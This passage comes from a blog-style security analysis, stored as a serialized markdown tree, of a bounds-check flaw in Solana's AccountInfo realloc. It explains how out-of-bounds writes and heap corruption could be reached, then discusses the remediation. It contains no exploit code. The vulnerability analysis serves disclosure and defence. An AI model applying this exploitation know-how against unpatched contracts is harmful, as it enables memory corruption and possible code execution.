post_len",{"type":24,"tag":327,"props":24433,"children":24434},{"style":381},[24435],{"type":29,"value":66},{"type":24,"tag":327,"props":24437,"children":24438},{"style":340},[24439],{"type":29,"value":21823},{"type":24,"tag":327,"props":24441,"children":24442},{"style":346},[24443],{"type":29,"value":349},{"type":24,"tag":327,"props":24445,"children":24446},{"style":381},[24447],{"type":29,"value":469},{"type":24,"tag":327,"props":24449,"children":24450},{"style":356},[24451],{"type":29,"value":24452},"pre_len",{"type":24,"tag":327,"props":24454,"children":24455},{"style":346},[24456],{"type":29,"value":24457},") > MAX_PERMITTED_DATA_INCREASE\n",{"type":24,"tag":327,"props":24459,"children":24460},{"class":329,"line":367},[24461,24466,24470,24474,24479,24483],{"type":24,"tag":327,"props":24462,"children":24463},{"style":381},[24464],{"type":29,"value":24465},"    ||",{"type":24,"tag":327,"props":24467,"children":24468},{"style":356},[24469],{"type":29,"value":24431},{"type":24,"tag":327,"props":24471,"children":24472},{"style":381},[24473],{"type":29,"value":5013},{"type":24,"tag":327,"props":24475,"children":24476},{"style":346},[24477],{"type":29,"value":24478}," MAX_PERMITTED_DATA_LENGTH ",{"type":24,"tag":327,"props":24480,"children":24481},{"style":334},[24482],{"type":29,"value":2479},{"type":24,"tag":327,"props":24484,"children":24485},{"style":1639},[24486],{"type":29,"value":24487}," usize\n",{"type":24,"tag":327,"props":24489,"children":24490},{"class":329,"line":408},[24491],{"type":24,"tag":327,"props":24492,"children":24493},{"style":346},[24494],{"type":29,"value":18427},{"type":24,"tag":327,"props":24496,"children":24497},{"class":329,"line":421},[24498,24502,24506,24510,24514,24518,24523],{"type":24,"tag":327,"props":24499,"children":24500},{"style":425},[24501],{"type":29,"value":6023},{"type":24,"tag":327,"props":24503,"children":24504},{"style":1639},[24505],{"type":29,"value":23267},{"type":24,"tag":327,"props":24507,"children":24508},{"style":346},[24509],{"type":29,"value":349},{"type":24,"tag":327,"props":24511,"children":24512},{"style":1639},[24513],{"type":29,"value":23276},{"type":24,"tag":327,"props":24515,"children":24516},{"style":381},[24517],{"type":29,"value":2407},{"type":24,"tag":327,"props":24519,"children":24520},{"style":1639},[24521],{"type":29,"value":24522},"InvalidRealloc",{"type":24,"tag":327,"props":24524,"children":24525},{"style":346},[24526],{"type":29,"value":583},{"type":24,"tag":327,"props":24528,"children":24529},{"class":329,"line":450},[24530],{"type":24,"tag":327,"props":24531,"children":24532},{"style":346},[24533],{"type":29,"value":592},{"type":24,"tag":25,"props":24535,"children":24536},{},[24537,24539,24544,24546,24551],{"type":29,"value":24538},"But, like the other checks performed by the loader, this check only runs after the contract ",{"type":24,"tag":42,"props":24540,"children":24541},{},[24542],{"type":29,"value":24543},"finishes",{"type":29,"value":24545}," execution. ",{"type":24,"tag":42,"props":24547,"children":24548},{},[24549],{"type":29,"value":24550},"During",{"type":29,"value":24552}," execution, the contract is free to make whatever modifications to memory that it wants, since Solana's eBPF machine doesn't hook memory accesses in any way.",{"type":24,"tag":25,"props":24554,"children":24555},{},[24556,24558,24563,24565,24570,24572,24579],{"type":29,"value":24557},"The end result is that in order to successfully exploit this bug, an attacker needs a way to change the length back to something valid before the program exits. However, with potentially ",{"type":24,"tag":42,"props":24559,"children":24560},{},[24561],{"type":29,"value":24562},"arbitrary",{"type":29,"value":24564}," memory access through a mistakenly-",{"type":24,"tag":284,"props":24566,"children":24568},{"className":24567},[],[24569],{"type":29,"value":21179},{"type":29,"value":24571},"'d account, this falls in the relm of some ",{"type":24,"tag":57,"props":24573,"children":24576},{"href":24574,"rel":24575},"https://en.wikipedia.org/wiki/Buffer_overflow",[61],[24577],{"type":29,"value":24578},"old-school pwning",{"type":29,"value":24580}," - even if we can't use the out-of-bounds access directly, there's plenty of pointers in memory that could be of use.",{"type":24,"tag":235,"props":24582,"children":24584},{"id":24583},"not-contracts",[24585],{"type":29,"value":24586},"Not-contracts?",{"type":24,"tag":25,"props":24588,"children":24589},{},[24590,24592,24597,24599,24609,24611,24623,24625,24632,24634,24639,24641,24646,24648,24660,24662,24667,24669,24674],{"type":29,"value":24591},"Remember when we said that all this code makes sense ",{"type":24,"tag":42,"props":24593,"children":24594},{},[24595],{"type":29,"value":24596},"if the data points to the BPF loader's serialized buffer",{"type":29,"value":24598},"? Well unfortunately for us, there's nothing enforcing that; all the fields on ",{"type":24,"tag":57,"props":24600,"children":24603},{"href":24601,"rel":24602},"https://docs.rs/solana-program/1.10.28/solana_program/account_info/struct.AccountInfo.html",[61],[24604],{"type":24,"tag":284,"props":24605,"children":24607},{"className":24606},[],[24608],{"type":29,"value":22462},{"type":29,"value":24610}," are public, and so is its ",{"type":24,"tag":57,"props":24612,"children":24615},{"href":24613,"rel":24614},"https://docs.rs/solana-program/1.10.28/solana_program/account_info/struct.AccountInfo.html#method.new",[61],[24616,24621],{"type":24,"tag":284,"props":24617,"children":24619},{"className":24618},[],[24620],{"type":29,"value":22646},{"type":29,"value":24622}," method",{"type":29,"value":24624}," (which is ",{"type":24,"tag":57,"props":24626,"children":24629},{"href":24627,"rel":24628},"https://docs.rs/solana-program/1.10.28/src/solana_program/account_info.rs.html#160-180",[61],[24630],{"type":29,"value":24631},"nothing more than a thin wrapper around just creating the struct literal yourself",{"type":29,"value":24633},"). The ",{"type":24,"tag":284,"props":24635,"children":24637},{"className":24636},[],[24638],{"type":29,"value":21179},{"type":29,"value":24640}," code critically assumes that the memory 8 bytes behind the data buffer is the data's length and that we can write to it however we want when realloc'ing. So, clearly if we were to create an ",{"type":24,"tag":284,"props":24642,"children":24644},{"className":24643},[],[24645],{"type":29,"value":22462},{"type":29,"value":24647}," ourselves - potentially through the ",{"type":24,"tag":57,"props":24649,"children":24652},{"href":24650,"rel":24651},"https://docs.rs/solana-program/1.10.28/solana_program/account_info/trait.Account.html",[61],[24653,24658],{"type":24,"tag":284,"props":24654,"children":24656},{"className":24655},[],[24657],{"type":29,"value":6614},{"type":29,"value":24659}," trait",{"type":29,"value":24661},", which is hardly documented at all and makes ",{"type":24,"tag":42,"props":24663,"children":24664},{},[24665],{"type":29,"value":24666},"no",{"type":29,"value":24668}," mention of any prerequisites about the nature of the references that need to be returned - we'd run in to problems from pretty much any practical way we'd allocate the ",{"type":24,"tag":284,"props":24670,"children":24672},{"className":24671},[],[24673],{"type":29,"value":11298},{"type":29,"value":24675}," buffer.",{"type":24,"tag":25,"props":24677,"children":24678},{},[24679,24681,24692,24694,24700,24702,24708,24710,24722,24724,24729,24731,24736,24737,24742,24744,24749,24751,24756,24758,24763],{"type":29,"value":24680},"One long arm of this is ",{"type":24,"tag":57,"props":24682,"children":24685},{"href":24683,"rel":24684},"https://docs.rs/solana-sdk/1.10.28/solana_sdk/account/struct.Account.html",[61],[24686],{"type":24,"tag":284,"props":24687,"children":24689},{"className":24688},[],[24690],{"type":29,"value":24691},"solana_sdk::account::Account",{"type":29,"value":24693}," - in the client SDK. It holds an account's data in a ",{"type":24,"tag":284,"props":24695,"children":24697},{"className":24696},[],[24698],{"type":29,"value":24699},"Vec\u003Cu8>",{"type":29,"value":24701},", and it implements ",{"type":24,"tag":284,"props":24703,"children":24705},{"className":24704},[],[24706],{"type":29,"value":24707},"solana_program::account_info::Account",{"type":29,"value":24709}," (the trait from earlier) - by ",{"type":24,"tag":57,"props":24711,"children":24714},{"href":24712,"rel":24713},"https://docs.rs/solana-sdk/1.10.28/src/solana_sdk/account.rs.html#661-669",[61],[24715,24717],{"type":29,"value":24716},"returning a reference to the contents of that ",{"type":24,"tag":284,"props":24718,"children":24720},{"className":24719},[],[24721],{"type":29,"value":5539},{"type":29,"value":24723},". So, ",{"type":24,"tag":284,"props":24725,"children":24727},{"className":24726},[],[24728],{"type":29,"value":21179},{"type":29,"value":24730}," writes the size into the 8 bytes right before ",{"type":24,"tag":284,"props":24732,"children":24734},{"className":24733},[],[24735],{"type":29,"value":11298},{"type":29,"value":9866},{"type":24,"tag":284,"props":24738,"children":24740},{"className":24739},[],[24741],{"type":29,"value":11298},{"type":29,"value":24743}," is the buffer of a ",{"type":24,"tag":284,"props":24745,"children":24747},{"className":24746},[],[24748],{"type":29,"value":5539},{"type":29,"value":24750},", and so it is the contents of a heap allocation; and, immediately before a heap allocation sits critical metadata. The result? If, for some reason, you construct an ",{"type":24,"tag":284,"props":24752,"children":24754},{"className":24753},[],[24755],{"type":29,"value":22462},{"type":29,"value":24757}," out of an SDK ",{"type":24,"tag":284,"props":24759,"children":24761},{"className":24760},[],[24762],{"type":29,"value":6614},{"type":29,"value":24764}," and then realloc it (which admittedly is quite a stretch), then you get heap corruption - something that's very likely to lead to remote code execution.",{"type":24,"tag":228,"props":24766,"children":24768},{"id":24767},"remediation",[24769],{"type":29,"value":24770},"Remediation",{"type":24,"tag":25,"props":24772,"children":24773},{},[24774],{"type":29,"value":24775},"Obviously the fix for the main issue at hand is to check that the resize operation remains in-bounds. But how do we know how big is too big?",{"type":24,"tag":25,"props":24777,"children":24778},{},[24779,24781,24786,24788,24793,24795,24806,24808,24813,24815,24822],{"type":29,"value":24780},"The sensible thing to do would be to store the initial size in the ",{"type":24,"tag":284,"props":24782,"children":24784},{"className":24783},[],[24785],{"type":29,"value":22462},{"type":29,"value":24787},"... except for the fact that the layout of ",{"type":24,"tag":284,"props":24789,"children":24791},{"className":24790},[],[24792],{"type":29,"value":22462},{"type":29,"value":24794}," is actually part of the ABI between the contract runtime and the loader :face_palm:",{"type":24,"tag":22996,"props":24796,"children":24797},{},[24798],{"type":24,"tag":57,"props":24799,"children":24803},{"href":24800,"ariaDescribedBy":24801,"dataFootnoteRef":7,"id":24802},"#user-content-fn-layout",[23003],"user-content-fnref-layout",[24804],{"type":29,"value":24805},"3",{"type":29,"value":24807}," So, with changing ",{"type":24,"tag":284,"props":24809,"children":24811},{"className":24810},[],[24812],{"type":29,"value":22462},{"type":29,"value":24814}," out of the question, the Solana team came up with a different place to stash the information: inside a section of padding in the serialized buffer passed from the runtime. This happened to be next to where the pubkey was stored, which resulted in the creation of ",{"type":24,"tag":57,"props":24816,"children":24819},{"href":24817,"rel":24818},"https://docs.rs/solana-program/1.10.30/src/solana_program/account_info.rs.html#74-85",[61],[24820],{"type":29,"value":24821},"this function",{"type":29,"value":1636},{"type":24,"tag":317,"props":24824,"children":24826},{"className":1553,"code":24825,"language":1552,"meta":7,"style":7},"/// Return the account's original data length when it was serialized for the\n/// current program invocation.\n///\n/// # Safety\n///\n/// This method assumes that the original data length was serialized as a u32\n/// integer in the 4 bytes immediately preceding the serialized account key.\npub unsafe fn original_data_len(&self) -> usize {\n    let key_ptr = self.key as *const _ as *const u8;\n    let original_data_len_ptr = key_ptr.offset(-4) as *const u32;\n    *original_data_len_ptr as usize\n}\n",[24827],{"type":24,"tag":284,"props":24828,"children":24829},{"__ignoreMap":7},[24830,24838,24846,24854,24862,24869,24877,24885,24933,24998,25063,25084],{"type":24,"tag":327,"props":24831,"children":24832},{"class":329,"line":330},[24833],{"type":24,"tag":327,"props":24834,"children":24835},{"style":551},[24836],{"type":29,"value":24837},"/// Return the account's original data length when it was serialized for the\n",{"type":24,"tag":327,"props":24839,"children":24840},{"class":329,"line":367},[24841],{"type":24,"tag":327,"props":24842,"children":24843},{"style":551},[24844],{"type":29,"value":24845},"/// current program invocation.\n",{"type":24,"tag":327,"props":24847,"children":24848},{"class":329,"line":408},[24849],{"type":24,"tag":327,"props":24850,"children":24851},{"style":551},[24852],{"type":29,"value":24853},"///\n",{"type":24,"tag":327,"props":24855,"children":24856},{"class":329,"line":421},[24857],{"type":24,"tag":327,"props":24858,"children":24859},{"style":551},[24860],{"type":29,"value":24861},"/// # Safety\n",{"type":24,"tag":327,"props":24863,"children":24864},{"class":329,"line":450},[24865],{"type":24,"tag":327,"props":24866,"children":24867},{"style":551},[24868],{"type":29,"value":24853},{"type":24,"tag":327,"props":24870,"children":24871},{"class":329,"line":481},[24872],{"type":24,"tag":327,"props":24873,"children":24874},{"style":551},[24875],{"type":29,"value":24876},"/// This method assumes that the original data length was serialized as a u32\n",{"type":24,"tag":327,"props":24878,"children":24879},{"class":329,"line":500},[24880],{"type":24,"tag":327,"props":24881,"children":24882},{"style":551},[24883],{"type":29,"value":24884},"/// integer in the 4 bytes immediately preceding the serialized account key.\n",{"type":24,"tag":327,"props":24886,"children":24887},{"class":329,"line":529},[24888,24892,24896,24900,24905,24909,24913,24917,24921,24925,24929],{"type":24,"tag":327,"props":24889,"children":24890},{"style":334},[24891],{"type":29,"value":2524},{"type":24,"tag":327,"props":24893,"children":24894},{"style":334},[24895],{"type":29,"value":22119},{"type":24,"tag":327,"props":24897,"children":24898},{"style":334},[24899],{"type":29,"value":4653},{"type":24,"tag":327,"props":24901,"children":24902},{"style":340},[24903],{"type":29,"value":24904}," original_data_len",{"type":24,"tag":327,"props":24906,"children":24907},{"style":346},[24908],{"type":29,"value":349},{"type":24,"tag":327,"props":24910,"children":24911},{"style":381},[24912],{"type":29,"value":8716},{"type":24,"tag":327,"props":24914,"children":24915},{"style":334},[24916],{"type":29,"value":2345},{"type":24,"tag":327,"props":24918,"children":24919},{"style":346},[24920],{"type":29,"value":1674},{"type":24,"tag":327,"props":24922,"children":24923},{"style":381},[24924],{"type":29,"value":1679},{"type":24,"tag":327,"props":24926,"children":24927},{"style":1639},[24928],{"type":29,"value":2422},{"type":24,"tag":327,"props":24930,"children":24931},{"style":346},[24932],{"type":29,"value":497},{"type":24,"tag":327,"props":24934,"children":24935},{"class":329,"line":538},[24936,24940,24945,24949,24953,24957,24962,24966,24970,24974,24978,24982,24986,24990,24994],{"type":24,"tag":327,"props":24937,"children":24938},{"style":334},[24939],{"type":29,"value":4794},{"type":24,"tag":327,"props":24941,"children":24942},{"style":356},[24943],{"type":29,"value":24944}," key_ptr",{"type":24,"tag":327,"props":24946,"children":24947},{"style":381},[24948],{"type":29,"value":4809},{"type":24,"tag":327,"props":24950,"children":24951},{"style":334},[24952],{"type":29,"value":2171},{"type":24,"tag":327,"props":24954,"children":24955},{"style":381},[24956],{"type":29,"value":66},{"type":24,"tag":327,"props":24958,"children":24959},{"style":346},[24960],{"type":29,"value":24961},"key ",{"type":24,"tag":327,"props":24963,"children":24964},{"style":334},[24965],{"type":29,"value":2479},{"type":24,"tag":327,"props":24967,"children":24968},{"style":381},[24969],{"type":29,"value":17364},{"type":24,"tag":327,"props":24971,"children":24972},{"style":334},[24973],{"type":29,"value":17202},{"type":24,"tag":327,"props":24975,"children":24976},{"style":356},[24977],{"type":29,"value":10648},{"type":24,"tag":327,"props":24979,"children":24980},{"style":334},[24981],{"type":29,"value":2417},{"type":24,"tag":327,"props":24983,"children":24984},{"style":381},[24985],{"type":29,"value":17364},{"type":24,"tag":327,"props":24987,"children":24988},{"style":334},[24989],{"type":29,"value":17202},{"type":24,"tag":327,"props":24991,"children":24992},{"style":1639},[24993],{"type":29,"value":2679},{"type":24,"tag":327,"props":24995,"children":24996},{"style":346},[24997],{"type":29,"value":405},{"type":24,"tag":327,"props":24999,"children":25000},{"class":329,"line":547},[25001,25005,25010,25014,25018,25022,25026,25030,25034,25039,25043,25047,25051,25055,25059],{"type":24,"tag":327,"props":25002,"children":25003},{"style":334},[25004],{"type":29,"value":4794},{"type":24,"tag":327,"props":25006,"children":25007},{"style":356},[25008],{"type":29,"value":25009}," original_data_len_ptr",{"type":24,"tag":327,"props":25011,"children":25012},{"style":381},[25013],{"type":29,"value":4809},{"type":24,"tag":327,"props":25015,"children":25016},{"style":356},[25017],{"type":29,"value":24944},{"type":24,"tag":327,"props":25019,"children":25020},{"style":381},[25021],{"type":29,"value":66},{"type":24,"tag":327,"props":25023,"children":25024},{"style":340},[25025],{"type":29,"value":21434},{"type":24,"tag":327,"props":25027,"children":25028},{"style":346},[25029],{"type":29,"value":349},{"type":24,"tag":327,"props":25031,"children":25032},{"style":381},[25033],{"type":29,"value":11899},{"type":24,"tag":327,"props":25035,"children":25036},{"style":397},[25037],{"type":29,"value":25038},"4",{"type":24,"tag":327,"props":25040,"children":25041},{"style":346},[25042],{"type":29,"value":1674},{"type":24,"tag":327,"props":25044,"children":25045},{"style":334},[25046],{"type":29,"value":2479},{"type":24,"tag":327,"props":25048,"children":25049},{"style":381},[25050],{"type":29,"value":17364},{"type":24,"tag":327,"props":25052,"children":25053},{"style":334},[25054],{"type":29,"value":17202},{"type":24,"tag":327,"props":25056,"children":25057},{"style":1639},[25058],{"type":29,"value":2619},{"type":24,"tag":327,"props":25060,"children":25061},{"style":346},[25062],{"type":29,"value":405},{"type":24,"tag":327,"props":25064,"children":25065},{"class":329,"line":557},[25066,25071,25076,25080],{"type":24,"tag":327,"props":25067,"children":25068},{"style":381},[25069],{"type":29,"value":25070},"    *",{"type":24,"tag":327,"props":25072,"children":25073},{"style":356},[25074],{"type":29,"value":25075},"original_data_len_ptr",{"type":24,"tag":327,"props":25077,"children":25078},{"style":334},[25079],{"type":29,"value":2417},{"type":24,"tag":327,"props":25081,"children":25082},{"style":1639},[25083],{"type":29,"value":24487},{"type":24,"tag":327,"props":25085,"children":25086},{"class":329,"line":586},[25087],{"type":24,"tag":327,"props":25088,"children":25089},{"style":346},[25090],{"type":29,"value":592},{"type":24,"tag":25,"props":25092,"children":25093},{},[25094,25096,25101,25103,25108,25110,25115,25117,25122,25124,25131,25133,25140,25141,25148,25149,25156,25157,25164],{"type":29,"value":25095},"It's marked ",{"type":24,"tag":284,"props":25097,"children":25099},{"className":25098},[],[25100],{"type":29,"value":21885},{"type":29,"value":25102},", properly documented, but there's just one problem: we need this for ",{"type":24,"tag":284,"props":25104,"children":25106},{"className":25105},[],[25107],{"type":29,"value":21179},{"type":29,"value":25109},", which originally was not ",{"type":24,"tag":284,"props":25111,"children":25113},{"className":25112},[],[25114],{"type":29,"value":21885},{"type":29,"value":25116},". So, in the name of not breaking API compatibility, the Solana team just threw the call in an ",{"type":24,"tag":284,"props":25118,"children":25120},{"className":25119},[],[25121],{"type":29,"value":21885},{"type":29,"value":25123}," block and added ",{"type":24,"tag":57,"props":25125,"children":25128},{"href":25126,"rel":25127},"https://docs.rs/solana-program/1.10.30/solana_program/account_info/struct.AccountInfo.html#safety-1",[61],[25129],{"type":29,"value":25130},"a doc comment",{"type":29,"value":25132}," - adding to the ",{"type":24,"tag":57,"props":25134,"children":25137},{"href":25135,"rel":25136},"https://docs.rs/solana-program/1.10.30/solana_program/program/fn.invoke_signed_unchecked.html#safety",[61],[25138],{"type":29,"value":25139},"small",{"type":29,"value":14024},{"type":24,"tag":57,"props":25142,"children":25145},{"href":25143,"rel":25144},"https://docs.rs/solana-program/1.11.2/solana_program/program_memory/fn.sol_memcpy.html#safety",[61],[25146],{"type":29,"value":25147},"pile",{"type":29,"value":14024},{"type":24,"tag":57,"props":25150,"children":25153},{"href":25151,"rel":25152},"https://docs.rs/solana-program/1.11.2/solana_program/program_memory/fn.sol_memset.html#safety",[61],[25154],{"type":29,"value":25155},"of",{"type":29,"value":14024},{"type":24,"tag":57,"props":25158,"children":25161},{"href":25159,"rel":25160},"https://docs.rs/solana-program/1.11.2/solana_program/program_memory/fn.sol_memcmp.html#safety",[61],[25162],{"type":29,"value":25163},"functions",{"type":29,"value":25165}," that are actually unsafe but aren't marked as such for API compatibility reasons (and the last three - all related to each other - don't even have the comment until version 1.11, which isn't even on mainnet as of the time of writing).",{"type":24,"tag":228,"props":25167,"children":25169},{"id":25168},"towards-safer-unsafe",[25170,25172],{"type":29,"value":25171},"Towards safer ",{"type":24,"tag":284,"props":25173,"children":25175},{"className":25174},[],[25176],{"type":29,"value":21885},{"type":24,"tag":25,"props":25178,"children":25179},{},[25180,25182,25187,25189,25194,25196,25203],{"type":29,"value":25181},"Let's circle back to that main ",{"type":24,"tag":284,"props":25183,"children":25185},{"className":25184},[],[25186],{"type":29,"value":21885},{"type":29,"value":25188}," block inside ",{"type":24,"tag":284,"props":25190,"children":25192},{"className":25191},[],[25193],{"type":29,"value":21179},{"type":29,"value":25195}," for a bit, shall we? As a reminder, it looks like ",{"type":24,"tag":57,"props":25197,"children":25200},{"href":25198,"rel":25199},"https://docs.rs/solana-program/1.10.28/src/solana_program/account_info.rs.html#127-136",[61],[25201],{"type":29,"value":25202},"this",{"type":29,"value":1636},{"type":24,"tag":317,"props":25205,"children":25207},{"className":1553,"code":25206,"language":1552,"meta":7,"style":7},"// realloc\nunsafe {\n    // First set new length in the serialized data\n    let ptr = self.try_borrow_mut_data()?.as_mut_ptr().offset(-8) as *mut u64;\n    *ptr = new_len as u64;\n\n    // Then set the new length in the local slice\n    let ptr = &mut *(((self.data.as_ptr() as *const u64).offset(1) as u64) as *mut u64);\n    *ptr = new_len as u64;\n}\n",[25208],{"type":24,"tag":284,"props":25209,"children":25210},{"__ignoreMap":7},[25211,25219,25230,25238,25325,25356,25363,25371,25498,25529],{"type":24,"tag":327,"props":25212,"children":25213},{"class":329,"line":330},[25214],{"type":24,"tag":327,"props":25215,"children":25216},{"style":551},[25217],{"type":29,"value":25218},"// realloc\n",{"type":24,"tag":327,"props":25220,"children":25221},{"class":329,"line":367},[25222,25226],{"type":24,"tag":327,"props":25223,"children":25224},{"style":334},[25225],{"type":29,"value":21885},{"type":24,"tag":327,"props":25227,"children":25228},{"style":346},[25229],{"type":29,"value":497},{"type":24,"tag":327,"props":25231,"children":25232},{"class":329,"line":408},[25233],{"type":24,"tag":327,"props":25234,"children":25235},{"style":551},[25236],{"type":29,"value":25237},"    // First set new length in the serialized data\n",{"type":24,"tag":327,"props":25239,"children":25240},{"class":329,"line":421},[25241,25245,25249,25253,25257,25261,25265,25269,25273,25277,25281,25285,25289,25293,25297,25301,25305,25309,25313,25317,25321],{"type":24,"tag":327,"props":25242,"children":25243},{"style":334},[25244],{"type":29,"value":4794},{"type":24,"tag":327,"props":25246,"children":25247},{"style":356},[25248],{"type":29,"value":21391},{"type":24,"tag":327,"props":25250,"children":25251},{"style":381},[25252],{"type":29,"value":4809},{"type":24,"tag":327,"props":25254,"children":25255},{"style":334},[25256],{"type":29,"value":2171},{"type":24,"tag":327,"props":25258,"children":25259},{"style":381},[25260],{"type":29,"value":66},{"type":24,"tag":327,"props":25262,"children":25263},{"style":340},[25264],{"type":29,"value":21408},{"type":24,"tag":327,"props":25266,"children":25267},{"style":346},[25268],{"type":29,"value":7616},{"type":24,"tag":327,"props":25270,"children":25271},{"style":381},[25272],{"type":29,"value":10740},{"type":24,"tag":327,"props":25274,"children":25275},{"style":340},[25276],{"type":29,"value":21421},{"type":24,"tag":327,"props":25278,"children":25279},{"style":346},[25280],{"type":29,"value":7616},{"type":24,"tag":327,"props":25282,"children":25283},{"style":381},[25284],{"type":29,"value":66},{"type":24,"tag":327,"props":25286,"children":25287},{"style":340},[25288],{"type":29,"value":21434},{"type":24,"tag":327,"props":25290,"children":25291},{"style":346},[25292],{"type":29,"value":349},{"type":24,"tag":327,"props":25294,"children":25295},{"style":381},[25296],{"type":29,"value":11899},{"type":24,"tag":327,"props":25298,"children":25299},{"style":397},[25300],{"type":29,"value":11653},{"type":24,"tag":327,"props":25302,"children":25303},{"style":346},[25304],{"type":29,"value":1674},{"type":24,"tag":327,"props":25306,"children":25307},{"style":334},[25308],{"type":29,"value":2479},{"type":24,"tag":327,"props":25310,"children":25311},{"style":381},[25312],{"type":29,"value":17364},{"type":24,"tag":327,"props":25314,"children":25315},{"style":334},[25316],{"type":29,"value":2099},{"type":24,"tag":327,"props":25318,"children":25319},{"style":1639},[25320],{"type":29,"value":1669},{"type":24,"tag":327,"props":25322,"children":25323},{"style":346},[25324],{"type":29,"value":405},{"type":24,"tag":327,"props":25326,"children":25327},{"class":329,"line":450},[25328,25332,25336,25340,25344,25348,25352],{"type":24,"tag":327,"props":25329,"children":25330},{"style":381},[25331],{"type":29,"value":25070},{"type":24,"tag":327,"props":25333,"children":25334},{"style":356},[25335],{"type":29,"value":21482},{"type":24,"tag":327,"props":25337,"children":25338},{"style":381},[25339],{"type":29,"value":4809},{"type":24,"tag":327,"props":25341,"children":25342},{"style":356},[25343],{"type":29,"value":21491},{"type":24,"tag":327,"props":25345,"children":25346},{"style":334},[25347],{"type":29,"value":2417},{"type":24,"tag":327,"props":25349,"children":25350},{"style":1639},[25351],{"type":29,"value":1669},{"type":24,"tag":327,"props":25353,"children":25354},{"style":346},[25355],{"type":29,"value":405},{"type":24,"tag":327,"props":25357,"children":25358},{"class":329,"line":481},[25359],{"type":24,"tag":327,"props":25360,"children":25361},{"emptyLinePlaceholder":16},[25362],{"type":29,"value":544},{"type":24,"tag":327,"props":25364,"children":25365},{"class":329,"line":500},[25366],{"type":24,"tag":327,"props":25367,"children":25368},{"style":551},[25369],{"type":29,"value":25370},"    // Then set the new length in the local slice\n",{"type":24,"tag":327,"props":25372,"children":25373},{"class":329,"line":529},[25374,25378,25382,25386,25390,25394,25398,25402,25406,25410,25414,25418,25422,25426,25430,25434,25438,25442,25446,25450,25454,25458,25462,25466,25470,25474,25478,25482,25486,25490,25494],{"type":24,"tag":327,"props":25375,"children":25376},{"style":334},[25377],{"type":29,"value":4794},{"type":24,"tag":327,"props":25379,"children":25380},{"style":356},[25381],{"type":29,"value":21391},{"type":24,"tag":327,"props":25383,"children":25384},{"style":381},[25385],{"type":29,"value":4809},{"type":24,"tag":327,"props":25387,"children":25388},{"style":381},[25389],{"type":29,"value":14704},{"type":24,"tag":327,"props":25391,"children":25392},{"style":334},[25393],{"type":29,"value":2099},{"type":24,"tag":327,"props":25395,"children":25396},{"style":381},[25397],{"type":29,"value":17364},{"type":24,"tag":327,"props":25399,"children":25400},{"style":346},[25401],{"type":29,"value":21550},{"type":24,"tag":327,"props":25403,"children":25404},{"style":334},[25405],{"type":29,"value":2345},{"type":24,"tag":327,"props":25407,"children":25408},{"style":381},[25409],{"type":29,"value":66},{"type":24,"tag":327,"props":25411,"children":25412},{"style":346},[25413],{"type":29,"value":11298},{"type":24,"tag":327,"props":25415,"children":25416},{"style":381},[25417],{"type":29,"value":66},{"type":24,"tag":327,"props":25419,"children":25420},{"style":340},[25421],{"type":29,"value":21571},{"type":24,"tag":327,"props":25423,"children":25424},{"style":346},[25425],{"type":29,"value":7338},{"type":24,"tag":327,"props":25427,"children":25428},{"style":334},[25429],{"type":29,"value":2479},{"type":24,"tag":327,"props":25431,"children":25432},{"style":381},[25433],{"type":29,"value":17364},{"type":24,"tag":327,"props":25435,"children":25436},{"style":334},[25437],{"type":29,"value":17202},{"type":24,"tag":327,"props":25439,"children":25440},{"style":1639},[25441],{"type":29,"value":1669},{"type":24,"tag":327,"props":25443,"children":25444},{"style":346},[25445],{"type":29,"value":3146},{"type":24,"tag":327,"props":25447,"children":25448},{"style":381},[25449],{"type":29,"value":66},{"type":24,"tag":327,"props":25451,"children":25452},{"style":340},[25453],{"type":29,"value":21434},{"type":24,"tag":327,"props":25455,"children":25456},{"style":346},[25457],{"type":29,"value":349},{"type":24,"tag":327,"props":25459,"children":25460},{"style":397},[25461],{"type":29,"value":3238},{"type":24,"tag":327,"props":25463,"children":25464},{"style":346},[25465],{"type":29,"value":1674},{"type":24,"tag":327,"props":25467,"children":25468},{"style":334},[25469],{"type":29,"value":2479},{"type":24,"tag":327,"props":25471,"children":25472},{"style":1639},[25473],{"type":29,"value":1669},{"type":24,"tag":327,"props":25475,"children":25476},{"style":346},[25477],{"type":29,"value":1674},{"type":24,"tag":327,"props":25479,"children":25480},{"style":334},[25481],{"type":29,"value":2479},{"type":24,"tag":327,"props":25483,"children":25484},{"style":381},[25485],{"type":29,"value":17364},{"type":24,"tag":327,"props":25487,"children":25488},{"style":334},[25489],{"type":29,"value":2099},{"type":24,"tag":327,"props":25491,"children":25492},{"style":1639},[25493],{"type":29,"value":1669},{"type":24,"tag":327,"props":25495,"children":25496},{"style":346},[25497],{"type":29,"value":583},{"type":24,"tag":327,"props":25499,"children":25500},{"class":329,"line":538},[25501,25505,25509,25513,25517,25521,25525],{"type":24,"tag":327,"props":25502,"children":25503},{"style":381},[25504],{"type":29,"value":25070},{"type":24,"tag":327,"props":25506,"children":25507},{"style":356},[25508],{"type":29,"value":21482},{"type":24,"tag":327,"props":25510,"children":25511},{"style":381},[25512],{"type":29,"value":4809},{"type":24,"tag":327,"props":25514,"children":25515},{"style":356},[25516],{"type":29,"value":21491},{"type":24,"tag":327,"props":25518,"children":25519},{"style":334},[25520],{"type":29,"value":2417},{"type":24,"tag":327,"props":25522,"children":25523},{"style":1639},[25524],{"type":29,"value":1669},{"type":24,"tag":327,"props":25526,"children":25527},{"style":346},[25528],{"type":29,"value":405},{"type":24,"tag":327,"props":25530,"children":25531},{"class":329,"line":547},[25532],{"type":24,"tag":327,"props":25533,"children":25534},{"style":346},[25535],{"type":29,"value":592},{"type":24,"tag":25,"props":25537,"children":25538},{},[25539,25541,25546],{"type":29,"value":25540},"We've seen how we could have ran into all sorts of issues here, with the usage of slice layout details, the reborrow creating an unbounded lifetime, and the ",{"type":24,"tag":284,"props":25542,"children":25544},{"className":25543},[],[25545],{"type":29,"value":23026},{"type":29,"value":25547}," borrow not accurately representing the actual usage of its contents. We can do better than this.",{"type":24,"tag":25,"props":25549,"children":25550},{},[25551,25553,25558,25560,25565,25567,25572,25574,25579,25581,25586,25588,25594,25596,25606,25608,25619],{"type":29,"value":25552},"First, let's deal with the ",{"type":24,"tag":284,"props":25554,"children":25556},{"className":25555},[],[25557],{"type":29,"value":23026},{"type":29,"value":25559}," borrowing issue. When we ",{"type":24,"tag":284,"props":25561,"children":25563},{"className":25562},[],[25564],{"type":29,"value":21408},{"type":29,"value":25566},", we get a ",{"type":24,"tag":284,"props":25568,"children":25570},{"className":25569},[],[25571],{"type":29,"value":24254},{"type":29,"value":25573}," back, which represents our borrow of the 